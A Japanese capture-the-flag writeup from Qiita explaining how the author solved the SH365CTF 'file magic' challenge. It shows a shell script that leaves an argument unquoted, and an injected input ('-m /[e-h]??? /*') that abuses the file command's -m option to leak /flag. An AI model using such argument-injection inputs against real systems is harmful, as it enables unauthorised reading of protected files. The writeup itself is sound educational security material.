2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[misc] file magic (SH365CTF) writeup

Last updated at Posted at 2024-12-05

※ SH365CTFはSecHack365(2024 4th Event Week)にて、有志によって非公式に開催されたCTFです。


以下のスクリプトが動いている。flagは/flagに書いてあるらしい。

read -p "Input a file path: " filepath

if echo "$filepath" | grep -q "[flag]"; then
    echo "You can't use 'f','l','a','g'" #You can't read the flag!
else
    file $filepath
fi

exit 0

$filepathに対して任意の文字列を入れることができる。ただし、/[flag]/は使えない。

しばらくスクリプトを眺めていると、if句では"$filepath"とダブルクオーテーションで囲っているのにelse句では$filepathと囲っていないことに気付いた。すなわち、オプション付きでfileコマンドを実行することができる。

Input a file path: piyo
piyo: ASCII text, with no line terminators
---
Input a file path: -b piyo
ASCII text, with no line terminators

fileコマンドのオプションについて調べてみると、-fというオプションでファイルをリストとして渡せるらしい。そしてファイルが見つからない場合、ファイルの中身がエラーとして出力される。これは使えそう。

$ file -f piyo
hoge:         cannot open `hoge' (No such file or directory)
hogefuga:     cannot open `hogefuga' (No such file or directory)
hogefugapiyo: cannot open `hogefugapiyo' (No such file or directory)

しかし、-fは弾かれてしまうので同様にファイルの中身を出力できる他のオプションを探す。

調べていると-mというマジックファイルを指定するためのオプションを発見した。これも-fと同様エラーを出力する。

$ file -m piyo *
piyo, 1: Warning: offset `hoge' invalid
piyo, 2: Warning: offset `hogefuga' invalid
piyo, 3: Warning: offset `hogefugapiyo' invalid
file: could not find any valid magic files! (No such file or directory)

これを使って、/[flag]/を使わずに/flagを読み出してあげれば良い。

Input a file path: -m /[e-h]??? /*
/flag, 1: Warning: offset `SecHack365{f113_57r4n63_m461c}' invalid

flagが得られた。
SecHack365{f113_57r4n63_m461c}

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?